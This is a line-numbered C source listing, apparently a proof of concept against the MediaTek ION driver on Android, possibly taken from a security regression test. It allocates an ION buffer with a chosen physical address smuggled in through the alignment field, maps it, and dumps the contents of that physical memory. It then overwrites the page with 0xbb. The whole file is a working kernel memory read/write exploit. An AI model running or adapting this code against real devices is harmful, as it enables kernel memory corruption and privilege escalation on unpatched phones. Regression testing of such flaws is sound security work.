1
2 #include <stdbool.h>
3 #include <stddef.h>
4 #include <stdint.h>
5 #include <stdio.h>
6 #include <sys/uio.h>
7 #include <stdlib.h>
8 #include <string.h>
9 #include <err.h>
10 #include <fcntl.h>
11 #include <sys/mman.h>
12 #include <sys/types.h>
13 #include <signal.h>
14 #include <sys/prctl.h>
15 #include <unistd.h>
16 #include <pthread.h>
17 #include <log/log.h>
18
19 #define FAIL_CHECK_ALOGE(condition, error_message) \
20 if (!(condition)) { \
21 ALOGE("Check failed: " #error_message " " #condition " Line: %d", \
22 __LINE__); \
23 exit(EXIT_FAILURE); \
24 }
25
26 typedef unsigned int u32;
27 typedef unsigned long u64;
28
29 #define ION_IOC_MAGIC 'I'
30
31 #define _IOC_NRBITS 8
32 #define _IOC_TYPEBITS 8
33
34 /*
35 * Let any architecture override either of the following before
36 * including this file.
37 */
38
39 #ifndef _IOC_SIZEBITS
40 # define _IOC_SIZEBITS 14
41 #endif
42
43 #ifndef _IOC_DIRBITS
44 # define _IOC_DIRBITS 2
45 #endif
46
47 #define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
48 #define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
49 #define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
50 #define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
51
52 #define _IOC_NRSHIFT 0
53 #define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
54 #define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
55 #define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
56
57 #ifndef _IOC_NONE
58 # define _IOC_NONE 0U
59 #endif
60
61 #ifndef _IOC_WRITE
62 # define _IOC_WRITE 1U
63 #endif
64
65 #ifndef _IOC_READ
66 # define _IOC_READ 2U
67 #endif
68
69 #define _IOC(dir,type,nr,size) \
70 (((dir) << _IOC_DIRSHIFT) | \
71 ((type) << _IOC_TYPESHIFT) | \
72 ((nr) << _IOC_NRSHIFT) | \
73 ((size) << _IOC_SIZESHIFT))
74
75 #ifndef __KERNEL__
76 #define _IOC_TYPECHECK(t) (sizeof(t))
77 #endif
78
79 /* used to create numbers */
80 #define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
81 #define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
82 #define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
83 #define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
84
85
86 /* Structure definitions */
87
88 enum ION_CMDS {
89 ION_CMD_SYSTEM,
90 ION_CMD_MULTIMEDIA,
91 ION_CMD_MULTIMEDIA_SEC
92 };
93
94 struct ion_custom_data {
95 unsigned int cmd;
96 unsigned long arg;
97 };
98
99 struct ion_fd_data {
100 int handle;
101 int fd;
102 };
103
104 struct ion_allocation_data {
105 size_t len;
106 size_t align;
107 unsigned int heap_id_mask;
108 unsigned int flags;
109 int handle;
110 };
111
112 struct ion_handle_data {
113 int handle;
114 };
115
116 struct ion_heap_query {
117 __u32 cnt; /* Total number of heaps to be copied */
118 __u32 reserved0; /* align to 64bits */
119 __u64 heaps; /* buffer to be populated */
120 __u32 reserved1;
121 __u32 reserved2;
122 };
123
124 enum ION_CACHE_SYNC_TYPE {
125 ION_CACHE_CLEAN_BY_RANGE,
126 ION_CACHE_INVALID_BY_RANGE,
127 ION_CACHE_FLUSH_BY_RANGE,
128 ION_CACHE_CLEAN_BY_RANGE_USE_VA,
129 ION_CACHE_INVALID_BY_RANGE_USE_VA,
130 ION_CACHE_FLUSH_BY_RANGE_USE_VA,
131 ION_CACHE_CLEAN_ALL,
132 ION_CACHE_INVALID_ALL,
133 ION_CACHE_FLUSH_ALL
134 };
135
136 enum ION_SYS_CMDS {
137 ION_SYS_CACHE_SYNC,
138 ION_SYS_GET_PHYS,
139 ION_SYS_GET_CLIENT,
140 ION_SYS_SET_HANDLE_BACKTRACE,
141 ION_SYS_SET_CLIENT_NAME,
142 ION_SYS_DMA_OP,
143 };
144
145 struct ion_sys_cache_sync_param {
146 union {
147 int handle;
148 void *kernel_handle;
149 };
150 void *va;
151 unsigned int size;
152 enum ION_CACHE_SYNC_TYPE sync_type;
153 };
154
155 struct ion_sys_get_phys_param {
156 union {
157 int handle;
158 void *kernel_handle;
159 };
160 unsigned int phy_addr;
161 unsigned long len;
162 };
163
164 struct ion_sys_get_client_param {
165 unsigned int client;
166 };
167
168 #define ION_MM_DBG_NAME_LEN 48
169 #define ION_MM_SF_BUF_INFO_LEN 16
170
171 struct ion_sys_client_name {
172 char name[ION_MM_DBG_NAME_LEN];
173 };
174
175 #define BACKTRACE_SIZE 10
176
177 struct ion_sys_record_param {
178 pid_t group_id;
179 pid_t pid;
180 unsigned int action;
181 unsigned int address_type;
182 unsigned int address;
183 unsigned int length;
184 unsigned int backtrace[BACKTRACE_SIZE];
185 unsigned int backtrace_num;
186 void *handle;
187 void *client;
188 void *buffer;
189 void *file;
190 int fd;
191 };
192
193 enum ION_DMA_TYPE {
194 ION_DMA_MAP_AREA,
195 ION_DMA_UNMAP_AREA,
196 ION_DMA_MAP_AREA_VA,
197 ION_DMA_UNMAP_AREA_VA,
198 ION_DMA_FLUSH_BY_RANGE,
199 ION_DMA_FLUSH_BY_RANGE_USE_VA,
200 ION_DMA_CACHE_FLUSH_ALL
201 };
202
203 enum ION_DMA_DIR {
204 ION_DMA_FROM_DEVICE,
205 ION_DMA_TO_DEVICE,
206 ION_DMA_BIDIRECTIONAL,
207 };
208
209 struct ion_dma_param {
210 union {
211 int handle;
212 void *kernel_handle;
213 };
214 void *va;
215 unsigned int size;
216 enum ION_DMA_TYPE dma_type;
217 enum ION_DMA_DIR dma_dir;
218 };
219
220 #define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
221 #define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
222 struct ion_allocation_data)
223
224 #define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
225 #define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
226 #define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
227
228 struct ion_sys_data {
229 enum ION_SYS_CMDS sys_cmd;
230 union {
231 struct ion_sys_cache_sync_param cache_sync_param;
232 struct ion_sys_get_phys_param get_phys_param;
233 struct ion_sys_get_client_param get_client_param;
234 struct ion_sys_client_name client_name_param;
235 struct ion_sys_record_param record_param;
236 struct ion_dma_param dma_param;
237 };
238 };
239
240 union ion_ioctl_arg {
241 struct ion_fd_data fd;
242 struct ion_allocation_data allocation;
243 struct ion_handle_data handle;
244 struct ion_custom_data custom;
245 struct ion_heap_query query;
246 };
247
248 enum mtk_ion_heap_type {
249 ION_HEAP_TYPE_MULTIMEDIA = 10,
250 ION_HEAP_TYPE_FB = 11,
251 ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12,
252 ION_HEAP_TYPE_MULTIMEDIA_SEC = 13,
253 ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14,
254 ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15,
255 ION_HEAP_TYPE_MULTIMEDIA_PROT = 16,
256 ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17,
257 ION_HEAP_TYPE_MULTIMEDIA_WFD = 18,
258 /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */
259 };
260
261
262 /*
263 * mappings of this buffer should be cached, ion will do cache maintenance
264 * when the buffer is mapped for dma
265 */
266 #define ION_FLAG_CACHED 1
267
268 /*
269 * mappings of this buffer will created at mmap time, if this is set
270 * caches must be managed manually
271 */
272 #define ION_FLAG_CACHED_NEEDS_SYNC 2
273
274
275 /*
276 struct ion_client {
277 struct rb_node node;
278 struct ion_device *dev;
279 struct rb_root handles;
280 struct idr idr;
281 struct mutex lock;
282 const char *name;
283 char *display_name;
284 int display_serial;
285 struct task_struct *task;
286 pid_t pid;
287 struct dentry *debug_root;
288 char dbg_name[ION_MM_DBG_NAME_LEN];
289 };
290 */
291 // "dev" offset inside ion_client
292 #define ion_device_OFF 12
293
294 /*
295
296 struct ion_device {
297 struct miscdevice dev;
298 struct rb_root buffers;
299 struct mutex buffer_lock;
300 struct rw_semaphore lock;
301 struct plist_head heaps;
302 long (*custom_ioctl)(struct ion_client *client, unsigned int cmd,
303 unsigned long arg);
304 struct rb_root clients;
305 struct dentry *debug_root;
306 struct dentry *heaps_debug_root;
307 struct dentry *clients_debug_root;
308 };
309
310 */
311
312 //"custom_ioctl" offset inside
313 #define custom_ioctl_OFF 100
314
315 int g_fd = -1;
316
317 #define MMAP_SIZE 4096
318 //#define PAGE_SIZE 4096
319
alloc_handle(int type,unsigned long kernel_obj_addr)320 int alloc_handle(int type, unsigned long kernel_obj_addr) {
321
322 union ion_ioctl_arg iia;
323 memset(&iia, 0, sizeof(iia));
324
325 iia.allocation.len = MMAP_SIZE;
326 iia.allocation.align = kernel_obj_addr;
327 iia.allocation.heap_id_mask = 1 << type;
328 iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC;
329
330 FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC);
331 ALOGE("ION_IOC_ALLOC success");
332 return iia.allocation.handle;
333 }
334
poc_write_kernel()335 int poc_write_kernel() {
336
337 g_fd = open("/dev/ion", 0x80000);
338 FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion);
339 ALOGE("[+] open /dev/ion");
340
341 int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000);
342
343 FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed);
344
345 union ion_ioctl_arg iia;
346 memset(&iia, 0, sizeof(iia));
347
348 iia.fd.handle = handle;
349
350 FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE);
351 ALOGE("ION_IOC_SHARE handle success");
352
353 int dma_fd = iia.fd.fd;
354
355 char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
356 FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap);
357
358 ALOGE("re_buf addr:%p", re_buf);
359 ALOGE("re_buf[0]:%x", re_buf[0]);
360
361 unsigned long read_num = 0;
362 int counter = 0;
363 unsigned long *read_buf = (unsigned long *)re_buf;
364 for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
365 if (read_buf[read_num]) {
366 //reduce number of log messages
367 if(counter++ % 8 == 0){
368 ALOGE("read_buf[%lu]:0x%lx", read_num, read_buf[read_num]);
369 }
370 }
371 }
372 ALOGE("read_num = %lu", read_num);
373 ALOGE("non zero = %d", counter);
374
375 memset(re_buf, 0xbb, MMAP_SIZE);
376 munmap(re_buf, MMAP_SIZE);
377 close(dma_fd);
378 close(g_fd);
379
380 return 0;
381 }
382
main()383 int main() {
384 poc_write_kernel();
385 ALOGE("test end");
386 return 0;
387 }
388